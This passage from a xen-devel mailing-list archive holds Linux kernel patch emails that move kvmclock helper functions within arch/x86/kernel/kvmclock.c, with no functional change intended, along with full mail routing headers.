+	 * random memory.
+	 */
+	kvmclock_disable();
 }
 
 static void kvm_restore_sched_clock_state(void)
@@ -208,6 +222,17 @@ static void kvm_restore_sched_clock_state(void)
 	kvm_register_clock("primary cpu clock, resume");
 }
 
+void kvmclock_cpu_action(enum kvm_guest_cpu_action action)
+{
+	/*
+	 * Don't disable kvmclock on the BSP during suspend.  If kvmclock is
+	 * being used for sched_clock, then it needs to be kept alive until the
+	 * last minute, and restored as quickly as possible after resume.
+	 */
+	if (action != KVM_GUEST_BSP_SUSPEND)
+		kvmclock_disable();
+}
+
 #ifdef CONFIG_SMP
 static void kvm_setup_secondary_clock(void)
 {
@@ -215,12 +240,6 @@ static void kvm_setup_secondary_clock(void)
 }
 #endif
 
-void kvmclock_disable(void)
-{
-	if (msr_kvm_system_time)
-		native_write_msr(msr_kvm_system_time, 0);
-}
-
 static void __init kvmclock_init_mem(void)
 {
 	unsigned long ncpus;
-- 
2.55.0.rc0.799.gd6f94ed593-goog



From xen-devel-bounces@lists.xenproject.org Wed Jul 01 19:36:11 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 01 Jul 2026 19:36:11 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1350741.1608258 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wf0jD-0005Le-TS; Wed, 01 Jul 2026 19:36:11 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1350741.1608258; Wed, 01 Jul 2026 19:36:11 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wf0jD-0005LU-Pq; Wed, 01 Jul 2026 19:36:11 +0000
Received: by outflank-mailman (input) for mailman id 1350741;
 Wed, 01 Jul 2026 19:36:09 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <3cmtFagYKCbcpbXkgZdlldib.Zljubk-absbiifpqp.ubkmolgbZq.lod@flex--seanjc.bounces.google.com>)
 id 1wf0jB-00056Q-ON
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 19:36:09 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wf0jB-00Bwg5-55
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 21:36:09 +0200
Received: from [10.42.69.6] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <3cmtFagYKCbcpbXkgZdlldib.Zljubk-absbiifpqp.ubkmolgbZq.lod@flex--seanjc.bounces.google.com>)
 id 6a456c00-5cb7-0a2a0a5109dd-0a2a4506ae74-46
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 21:36:09 +0200
Received: from [209.85.216.73] (helo=mail-pj1-f73.google.com)
 by tlsNG-16d1c6.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <3cmtFagYKCbcpbXkgZdlldib.Zljubk-absbiifpqp.ubkmolgbZq.lod@flex--seanjc.bounces.google.com>)
 id 6a456b73-08de-0a2a45060019-d155d849b446-3
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 21:33:08 +0200
Received: by mail-pj1-f73.google.com with SMTP id
 98e67ed59e1d1-37e17ec1940so1079273a91.0
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 12:33:08 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=google.com header.i="@google.com" header.h="Cc:To:From:Subject:Message-ID:References:Mime-Version:In-Reply-To:Date:Reply-To"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=20251104; t=1782934387; x=1783539187; darn=lists.xenproject.org;
        h=cc:to:from:subject:message-id:references:mime-version:in-reply-to
         :date:reply-to:from:to:cc:subject:date:message-id:reply-to;
        bh=p58sqQbLovUVGNo0nSS6BNMoKcJfer5lPY7RvPBWYyU=;
        b=m7SSsnLTPrJAscY4pqjevoFfCkG+XkGqrfdH4EEeyG89fXJ4xxX0lArZTmkaZWrXIk
         CceEHqNV5rNv02FHxTS6FyVtiYny8dKN95OKZJ3JjcQhHz13NIjTBb0zuJpeKE+9O2Nf
         B7eM3nL4NQA9cUFYOjf769Zaeit+s/GciIJJFfvUc0yewjEdWwlMBs16xBf2PzE7xQ0L
         me4tvfvenUUIyMptj9ozuqEsomvcQeRZoJzjsJc8Q7pxjXOMN6G8wV+d+1HK0EN9NT4z
         Nv5MWuVIsNFnihDxH94OxTBG6VG+b081QpUVPnmYNG4hAUg7U5dZ7122U/RzF+BXWwpl
         o0wQ==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1782934387; x=1783539187;
        h=cc:to:from:subject:message-id:references:mime-version:in-reply-to
         :date:reply-to:x-gm-message-state:from:to:cc:subject:date:message-id
         :reply-to;
        bh=p58sqQbLovUVGNo0nSS6BNMoKcJfer5lPY7RvPBWYyU=;
        b=ioiPhuWx4Y/xs95aa7GFaJpm0448Su7u0Eew3FsDscx3xcBT5ScFpPslKLgQqJ62S0
         JHVtCTS8Oh93aghz1Kudk3v12QGQ3XtXm9oo1e4+W/s8o6sbl9gsKGC1kr0hLeKdXi6J
         5CVVVQA11LnQrYxrQ9xl+2fmYnnm3RW/M1xMR5WjG0djYnqKqHWV5zvIVvPwJjVJ43ne
         J/fU8fvC1HEgQ4+jKR3MBbsg1EDLtIMjMVhPz0xjjq3xgZI93CL4sViwpv9uWWHibql6
         U5w0PbtpflCFEGw6RLx6363T1AywWkOG1zbaB6OD6reSqJ1ing2IrtRltsRgYjKW3eQg
         kBRg==
X-Forwarded-Encrypted: i=1; AHgh+RoVc8bTGChRrZIlltlGX3j9rv8SZZ+A9YuFBGfuIEsBtq9r116eRMlPG/ZjxqhlbgJBDORtV3B0c8U=@lists.xenproject.org
X-Gm-Message-State: AOJu0YxvFDEP7M5W0bZK4WgCR2qb98/P2X6DXidhSZ69mci3qwJr/buv
	EcqJl48rkdpBX1YJhtbF9l7CX05861gGsChYV9WKW8xBgy3bp29jWPZ0xcsaibjca9d4UVuxJ8l
	gax467Q==
X-Received: from pjbco22.prod.google.com ([2002:a17:90a:fe96:b0:36b:7f07:6fcd])
 (user=seanjc job=prod-delivery.src-stubby-dispatcher) by 2002:a17:90b:5823:b0:366:3517:1aa2
 with SMTP id 98e67ed59e1d1-380a9e519bdmr3237404a91.0.1782934386500; Wed, 01
 Jul 2026 12:33:06 -0700 (PDT)
Reply-To: Sean Christopherson <seanjc@google.com>
Date: Wed,  1 Jul 2026 12:31:53 -0700
In-Reply-To: <20260701193212.749551-1-seanjc@google.com>
Mime-Version: 1.0
References: <20260701193212.749551-1-seanjc@google.com>
X-Mailer: git-send-email 2.55.0.rc0.799.gd6f94ed593-goog
Message-ID: <20260701193212.749551-33-seanjc@google.com>
Subject: [PATCH v5 32/51] x86/kvmclock: Move sched_clock save/restore helpers
 up in kvmclock.c
From: Sean Christopherson <seanjc@google.com>
To: Jonathan Corbet <corbet@lwn.net>, Paolo Bonzini <pbonzini@redhat.com>, 
	Thomas Gleixner <tglx@kernel.org>, Ingo Molnar <mingo@redhat.com>, Borislav Petkov <bp@alien8.de>, 
	Dave Hansen <dave.hansen@linux.intel.com>, x86@kernel.org, 
	Kiryl Shutsemau <kas@kernel.org>, Rick Edgecombe <rick.p.edgecombe@intel.com>, 
	Sean Christopherson <seanjc@google.com>, "K. Y. Srinivasan" <kys@microsoft.com>, 
	Haiyang Zhang <haiyangz@microsoft.com>, Wei Liu <wei.liu@kernel.org>, 
	Dexuan Cui <decui@microsoft.com>, Long Li <longli@microsoft.com>, 
	Ajay Kaher <ajay.kaher@broadcom.com>, Alexey Makhalov <alexey.makhalov@broadcom.com>, 
	Jan Kiszka <jan.kiszka@siemens.com>, Andy Lutomirski <luto@kernel.org>, 
	Peter Zijlstra <peterz@infradead.org>, Juergen Gross <jgross@suse.com>, 
	Daniel Lezcano <daniel.lezcano@kernel.org>, John Stultz <jstultz@google.com>
Cc: Shuah Khan <skhan@linuxfoundation.org>, "H. Peter Anvin" <hpa@zytor.com>, 
	Vitaly Kuznetsov <vkuznets@redhat.com>, 
	Broadcom internal kernel review list <bcm-kernel-feedback-list@broadcom.com>, 
	Boris Ostrovsky <boris.ostrovsky@oracle.com>, Stephen Boyd <sboyd@kernel.org>, linux-doc@vger.kernel.org, 
	kvm@vger.kernel.org, linux-kernel@vger.kernel.org, linux-coco@lists.linux.dev, 
	linux-hyperv@vger.kernel.org, virtualization@lists.linux.dev, 
	xen-devel@lists.xenproject.org, Tom Lendacky <thomas.lendacky@amd.com>, 
	Nikunj A Dadhania <nikunj@amd.com>, David Woodhouse <dwmw@amazon.co.uk>, 
	David Woodhouse <dwmw2@infradead.org>, Michael Kelley <mhklinux@outlook.com>, 
	Thomas Gleixner <tglx@linutronix.de>
Content-Type: text/plain; charset="UTF-8"
X-purgate-ID: tlsNG-16d1c6/1782934388-C5D3D68D-D4C08C89/13/0
X-purgate-type: clean
X-purgate-size: 4424

Move kvmclock's sched_clock save/restore helper "up" so that they can
(eventually) be referenced by kvm_sched_clock_init().

No functional change intended.

Reviewed-by: David Woodhouse <dwmw@amazon.co.uk>
Signed-off-by: Sean Christopherson <seanjc@google.com>
---
 arch/x86/kernel/kvmclock.c | 108 ++++++++++++++++++-------------------
 1 file changed, 54 insertions(+), 54 deletions(-)

diff --git a/arch/x86/kernel/kvmclock.c b/arch/x86/kernel/kvmclock.c
index 4bc0495f1f9e..07e875738c39 100644
--- a/arch/x86/kernel/kvmclock.c
+++ b/arch/x86/kernel/kvmclock.c
@@ -71,6 +71,25 @@ static int kvm_set_wallclock(const struct timespec64 *now)
 	return -ENODEV;
 }
 
+static void kvm_register_clock(char *txt)
+{
+	struct pvclock_vsyscall_time_info *src = this_cpu_hvclock();
+	u64 pa;
+
+	if (!src)
+		return;
+
+	pa = slow_virt_to_phys(&src->pvti) | 0x01ULL;
+	wrmsrq(msr_kvm_system_time, pa);
+	pr_debug("kvm-clock: cpu %d, msr %llx, %s", smp_processor_id(), pa, txt);
+}
+
+static void kvmclock_disable(void)
+{
+	if (msr_kvm_system_time)
+		native_write_msr(msr_kvm_system_time, 0);
+}
+
 static u64 kvm_clock_read(void)
 {
 	u64 ret;
@@ -112,6 +131,30 @@ static noinstr u64 kvm_sched_clock_read(void)
 	return pvclock_clocksource_read_nowd(this_cpu_pvti()) - kvm_sched_clock_offset;
 }
 
+static void kvm_save_sched_clock_state(void)
+{
+	/*
+	 * Stop host writes to kvmclock immediately prior to suspend/hibernate.
+	 * If the system is hibernating, then kvmclock will likely reside at a
+	 * different physical address when the system awakens, and host writes
+	 * to the old address prior to reconfiguring kvmclock would clobber
+	 * random memory.
+	 */
+	kvmclock_disable();
+}
+
+#ifdef CONFIG_SMP
+static void kvm_setup_secondary_clock(void)
+{
+	kvm_register_clock("secondary cpu clock");
+}
+#endif
+
+static void kvm_restore_sched_clock_state(void)
+{
+	kvm_register_clock("primary cpu clock, resume");
+}
+
 static inline void kvm_sched_clock_init(bool stable)
 {
 	kvm_sched_clock_offset = kvm_clock_read();
@@ -124,6 +167,17 @@ static inline void kvm_sched_clock_init(bool stable)
 		sizeof(((struct pvclock_vcpu_time_info *)NULL)->system_time));
 }
 
+void kvmclock_cpu_action(enum kvm_guest_cpu_action action)
+{
+	/*
+	 * Don't disable kvmclock on the BSP during suspend.  If kvmclock is
+	 * being used for sched_clock, then it needs to be kept alive until the
+	 * last minute, and restored as quickly as possible after resume.
+	 */
+	if (action != KVM_GUEST_BSP_SUSPEND)
+		kvmclock_disable();
+}
+
 /*
  * If we don't do that, there is the possibility that the guest
  * will calibrate under heavy load - thus, getting a lower lpj -
@@ -183,60 +237,6 @@ static struct clocksource kvm_clock = {
 	.enable		= kvm_cs_enable,
 };
 
-static void kvm_register_clock(char *txt)
-{
-	struct pvclock_vsyscall_time_info *src = this_cpu_hvclock();
-	u64 pa;
-
-	if (!src)
-		return;
-
-	pa = slow_virt_to_phys(&src->pvti) | 0x01ULL;
-	wrmsrq(msr_kvm_system_time, pa);
-	pr_debug("kvm-clock: cpu %d, msr %llx, %s", smp_processor_id(), pa, txt);
-}
-
-static void kvmclock_disable(void)
-{
-	if (msr_kvm_system_time)
-		native_write_msr(msr_kvm_system_time, 0);
-}
-
-static void kvm_save_sched_clock_state(void)
-{
-	/*
-	 * Stop host writes to kvmclock immediately prior to suspend/hibernate.
-	 * If the system is hibernating, then kvmclock will likely reside at a
-	 * different physical address when the system awakens, and host writes
-	 * to the old address prior to reconfiguring kvmclock would clobber
-	 * random memory.
-	 */
-	kvmclock_disable();
-}
-
-static void kvm_restore_sched_clock_state(void)
-{
-	kvm_register_clock("primary cpu clock, resume");
-}
-
-void kvmclock_cpu_action(enum kvm_guest_cpu_action action)
-{
-	/*
-	 * Don't disable kvmclock on the BSP during suspend.  If kvmclock is
-	 * being used for sched_clock, then it needs to be kept alive until the
-	 * last minute, and restored as quickly as possible after resume.
-	 */
-	if (action != KVM_GUEST_BSP_SUSPEND)
-		kvmclock_disable();
-}
-
-#ifdef CONFIG_SMP
-static void kvm_setup_secondary_clock(void)
-{
-	kvm_register_clock("secondary cpu clock");
-}
-#endif
-
 static void __init kvmclock_init_mem(void)
 {
 	unsigned long ncpus;
-- 
2.55.0.rc0.799.gd6f94ed593-goog



From xen-devel-bounces@lists.xenproject.org Wed Jul 01 19:36:17 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 01 Jul 2026 19:36:17 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1350745.1608266 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wf0jI-0005hb-4p; Wed, 01 Jul 2026 19:36:16 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1350745.1608266; Wed, 01 Jul 2026 19:36:16 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wf0jI-0005hU-1y; Wed, 01 Jul 2026 19:36:16 +0000
Received: by outflank-mailman (input) for mailman id 1350745;
 Wed, 01 Jul 2026 19:36:15 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <3eGtFagYKCb0vhdqmfjrrjoh.frp0hq-ghyhoolvwv.0hqsurmhfw.ruj@flex--seanjc.bounces.google.com>)
 id 1wf0jH-0005gb-FF
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 19:36:15 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wf0jG-003oa2-SK
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 21:36:14 +0200
Received: from [10.42.69.9] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <3eGtFagYKCb0vhdqmfjrrjoh.frp0hq-ghyhoolvwv.0hqsurmhfw.ruj@flex--seanjc.bounces.google.com>)
 id 6a456bfe-bab6-0a2a0a5309dd-0a2a4509b1ae-44
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 21:36:14 +0200
Received: from [209.85.216.74] (helo=mail-pj1-f74.google.com)
 by tlsNG-bad1c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <3eGtFagYKCb0vhdqmfjrrjoh.frp0hq-ghyhoolvwv.0hqsurmhfw.ruj@flex--seanjc.bounces.google.com>)
 id 6a456b79-97e6-0a2a45090019-d155d84ad47a-3
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 21:33:14 +0200
Received: by mail-pj1-f74.google.com with SMTP id
 98e67ed59e1d1-37e24235ce1so1374668a91.0
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 12:33:14 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=google.com header.i="@google.com" header.h="Cc:To:From:Subject:Message-ID:References:Mime-Version:In-Reply-To:Date:Reply-To"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=20251104; t=1782934393; x=1783539193; darn=lists.xenproject.org;
        h=cc:to:from:subject:message-id:references:mime-version:in-reply-to
         :date:reply-to:from:to:cc:subject:date:message-id:reply-to;
        bh=aK5m/cPAf0bdBYumbExr1aJO4L8QPhhYatB0l9CbU30=;
        b=RFJGBZma1fonKwjoMQxVhpEy/UOIMSO+s32U36rMVRqgLIFF6HYhxZ4V4DfgMc3HIZ
         8jX8ccc07Xo21pk5b39hL/z+fpammNwoWws7RFiKLMbaGXLV9WbW6lFbj9T59+oPXJYt
         C0K/VZEJD2NZqBuHG1LWIJTgz7BHgnobobm0ycIYesMFY5sk4PYFvzjDt/RHVK9msifi
         m3J8izuHSyH5ipo08L5wFyytZmH8ciI7jtU/PE1aPHgwJ/c3IwpFdXutRP4hPANMyMWE
         82Q9HrgqdW15Pt4ShQ0Krbrw32ig+WQpblxNGmvIkJLxycG8qekLmy6rSQJiyAXGwseb
         Ouvw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1782934393; x=1783539193;
        h=cc:to:from:subject:message-id:references:mime-version:in-reply-to
         :date:reply-to:x-gm-message-state:from:to:cc:subject:date:message-id
         :reply-to;
        bh=aK5m/cPAf0bdBYumbExr1aJO4L8QPhhYatB0l9CbU30=;
        b=Ih6dRLR4lQi9xbmnEzq/AlmxJERs7CygcVsJ/OkyUoffuoBMSUuSnSEFwfqMiupWAM
         F/qxdU14KgjgLYWjnP9ttspmg4nz5s6LsQ2nWyh8veYry7ure74MJsLdlbgSKw2jdo/w
         c0SKntYp9ChCEmqScIbb0HSg4K0aXhiKExdW0i2clWqTS/F9A+dvNCvIirfuy5qFsvF3
         8k/LakuG20ejjywoPvOa8+88cFHsEBlo0IOUZfC/69YNzprVB9np8hHy3+5XBlSqmMXK
         FHLZUI9tRZWn3z7hB9ufVXcpJOuQMGxMMQpFnJgQX/bIO+hs9PZf6vGPq9f3/xrNsiSf
         d7Fg==
X-Forwarded-Encrypted: i=1; AHgh+RrKPTvC8jPaTy6gS+tNvsTEmUXEnO/KZSUEnHztOUWsJWjotX9I8vUj3nLYi4IHbKy8hW2TAMSNADI=@lists.xenproject.org
X-Gm-Message-State: AOJu0YweOnfzrwzy7IvxAEA2xIIUD4nD+G6Q2pERbZCrq7yJg/IAbLu4
	zMT+1fZHLMwG2G4dg/QHDFkAq+mYk7HLULW8KIeu11qAWF8ixT5a/LZiuYG0B0AmWtqzqGuWN3X
	57yLiJQ==
X-Received: from pjbil4.prod.google.com ([2002:a17:90b:1644:b0:37d:ece0:dd38])
 (user=seanjc job=prod-delivery.src-stubby-dispatcher) by 2002:a17:90b:3810:b0:37f:9ce1:cdaf
 with SMTP id 98e67ed59e1d1-380aa1ed882mr2896319a91.29.1782934392117; Wed, 01
 Jul 2026 12:33:12 -0700 (PDT)
Reply-To: Sean Christopherson <seanjc@google.com>
Date: Wed,  1 Jul 2026 12:31:58 -0700
In-Reply-To: <20260701193212.749551-1-seanjc@google.com>
Mime-Version: 1.0
References: <20260701193212.749551-1-seanjc@google.com>
X-Mailer: git-send-email 2.55.0.rc0.799.gd6f94ed593-goog
Message-ID: <20260701193212.749551-38-seanjc@google.com>
Subject: [PATCH v5 37/51] x86/kvmclock: Move kvm_sched_clock_init() down in kvmclock.c
From: Sean Christopherson <seanjc@google.com>
To: Jonathan Corbet <corbet@lwn.net>, Paolo Bonzini <pbonzini@redhat.com>, 
	Thomas Gleixner <tglx@kernel.org>, Ingo Molnar <mingo@redhat.com>, Borislav Petkov <bp@alien8.de>, 
	Dave Hansen <dave.hansen@linux.intel.com>, x86@kernel.org, 
	Kiryl Shutsemau <kas@kernel.org>, Rick Edgecombe <rick.p.edgecombe@intel.com>, 
	Sean Christopherson <seanjc@google.com>, "K. Y. Srinivasan" <kys@microsoft.com>, 
	Haiyang Zhang <haiyangz@microsoft.com>, Wei Liu <wei.liu@kernel.org>, 
	Dexuan Cui <decui@microsoft.com>, Long Li <longli@microsoft.com>, 
	Ajay Kaher <ajay.kaher@broadcom.com>, Alexey Makhalov <alexey.makhalov@broadcom.com>, 
	Jan Kiszka <jan.kiszka@siemens.com>, Andy Lutomirski <luto@kernel.org>, 
	Peter Zijlstra <peterz@infradead.org>, Juergen Gross <jgross@suse.com>, 
	Daniel Lezcano <daniel.lezcano@kernel.org>, John Stultz <jstultz@google.com>
Cc: Shuah Khan <skhan@linuxfoundation.org>, "H. Peter Anvin" <hpa@zytor.com>, 
	Vitaly Kuznetsov <vkuznets@redhat.com>, 
	Broadcom internal kernel review list <bcm-kernel-feedback-list@broadcom.com>, 
	Boris Ostrovsky <boris.ostrovsky@oracle.com>, Stephen Boyd <sboyd@kernel.org>, linux-doc@vger.kernel.org, 
	kvm@vger.kernel.org, linux-kernel@vger.kernel.org, linux-coco@lists.linux.dev, 
	linux-hyperv@vger.kernel.org, virtualization@lists.linux.dev, 
	xen-devel@lists.xenproject.org, Tom Lendacky <thomas.lendacky@amd.com>, 
	Nikunj A Dadhania <nikunj@amd.com>, David Woodhouse <dwmw@amazon.co.uk>, 
	David Woodhouse <dwmw2@infradead.org>, Michael Kelley <mhklinux@outlook.com>, 
	Thomas Gleixner <tglx@linutronix.de>
Content-Type: text/plain; charset="UTF-8"
X-purgate-ID: tlsNG-bad1c0/1782934394-45B23986-928943A0/13/0
X-purgate-type: clean
X-purgate-size: 2301

Move kvm_sched_clock_init() "down" so that it can reference the global
kvm_clock structure without needing a forward declaration.

Opportunistically mark the helper as "__init" instead of "inline" to make
its usage more obvious; modern compilers don't need a hint to inline a
single-use function, and an extra CALL+RET pair during boot is a complete
non-issue.  And, if the compiler ignores the hint and does NOT inline the
function, the resulting code may not get discarded after boot due lack of
an __init annotation.

No functional change intended.

Reviewed-by: David Woodhouse <dwmw@amazon.co.uk>
Signed-off-by: Sean Christopherson <seanjc@google.com>
---
 arch/x86/kernel/kvmclock.c | 28 ++++++++++++++--------------
 1 file changed, 14 insertions(+), 14 deletions(-)

diff --git a/arch/x86/kernel/kvmclock.c b/arch/x86/kernel/kvmclock.c
index 5b9955343199..5220d205abc7 100644
--- a/arch/x86/kernel/kvmclock.c
+++ b/arch/x86/kernel/kvmclock.c
@@ -155,20 +155,6 @@ static void kvm_restore_sched_clock_state(void)
 	kvm_register_clock("primary cpu clock, resume");
 }
 
-static inline void kvm_sched_clock_init(bool stable)
-{
-	kvm_sched_clock_offset = kvm_clock_read();
-	__paravirt_set_sched_clock(kvm_sched_clock_read, stable,
-				   kvm_save_sched_clock_state,
-				   kvm_restore_sched_clock_state);
-
-	pr_info("kvm-clock: using sched offset of %llu cycles",
-		kvm_sched_clock_offset);
-
-	BUILD_BUG_ON(sizeof(kvm_sched_clock_offset) >
-		sizeof(((struct pvclock_vcpu_time_info *)NULL)->system_time));
-}
-
 void kvmclock_cpu_action(enum kvm_guest_cpu_action action)
 {
 	/*
@@ -325,6 +311,20 @@ static int kvmclock_setup_percpu(unsigned int cpu)
 	return p ? 0 : -ENOMEM;
 }
 
+static __init void kvm_sched_clock_init(bool stable)
+{
+	kvm_sched_clock_offset = kvm_clock_read();
+	__paravirt_set_sched_clock(kvm_sched_clock_read, stable,
+				   kvm_save_sched_clock_state,
+				   kvm_restore_sched_clock_state);
+
+	pr_info("kvm-clock: using sched offset of %llu cycles",
+		kvm_sched_clock_offset);
+
+	BUILD_BUG_ON(sizeof(kvm_sched_clock_offset) >
+		sizeof(((struct pvclock_vcpu_time_info *)NULL)->system_time));
+}
+
 void __init kvmclock_init(bool prefer_tsc)
 {
 	u8 flags;
-- 
2.55.0.rc0.799.gd6f94ed593-goog



From xen-devel-bounces@lists.xenproject.org Wed Jul 01 19:58:54 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 01 Jul 2026 19:58:54 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1350841.1608275 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wf14w-0001jx-0r; Wed, 01 Jul 2026 19:58:38 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1350841.1608275; Wed, 01 Jul 2026 19:58:37 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wf14v-0001jq-UH; Wed, 01 Jul 2026 19:58:37 +0000
Received: by outflank-mailman (input) for mailman id 1350841;
 Wed, 01 Jul 2026 19:58:36 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <mfo@igalia.com>) id 1wf14r-0001gD-T9
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 19:58:36 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wf14r-005T2x-AB
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 21:58:33 +0200
Received: from [10.42.69.5] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <mfo@igalia.com>)
 id 6a457164-5cb7-0a2a0a5109dd-0a2a4505c012-6
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 21:58:31 +0200
Received: from [213.97.179.56] (helo=fanzine2.igalia.com)
 by tlsNG-c201ff.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <mfo@igalia.com>)
 id 6a457166-3cb2-0a2a45050019-d561b338bf32-3
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 21:58:30 +0200
Received: from maestria.local.igalia.com ([192.168.10.14] helo=mail.igalia.com)
 by fanzine2.igalia.com with esmtps 
 (Cipher TLS1.3:ECDHE_SECP256R1__RSA_PSS_RSAE_SHA256__AES_256_GCM:256) (Exim)
 id 1wf14K-007jBt-Bw; Wed, 01 Jul 2026 21:58:00 +0200
Received: from webmail.service.igalia.com ([192.168.21.45])
 by mail.igalia.com with esmtp (Exim)
 id 1wf14I-008PZ7-7c; Wed, 01 Jul 2026 21:58:00 +0200
Received: from localhost ([127.0.0.1] helo=webmail.igalia.com)
 by webmail.service.igalia.com with esmtp (Exim 4.98.2)
 (envelope-from <mfo@igalia.com>) id 1wf14I-0000000DrOF-026U;
 Wed, 01 Jul 2026 21:57:58 +0200
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20170329 header.d=igalia.com header.i="@igalia.com" header.h="Content-Transfer-Encoding:Content-Type:Message-ID:References:In-Reply-To:Subject:Cc:To:From:Date:MIME-Version"
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=igalia.com;
	s=20170329; h=Content-Transfer-Encoding:Content-Type:Message-ID:References:
	In-Reply-To:Subject:Cc:To:From:Date:MIME-Version:Sender:Reply-To:Content-ID:
	Content-Description:Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc
	:Resent-Message-ID:List-Id:List-Help:List-Unsubscribe:List-Subscribe:
	List-Post:List-Owner:List-Archive;
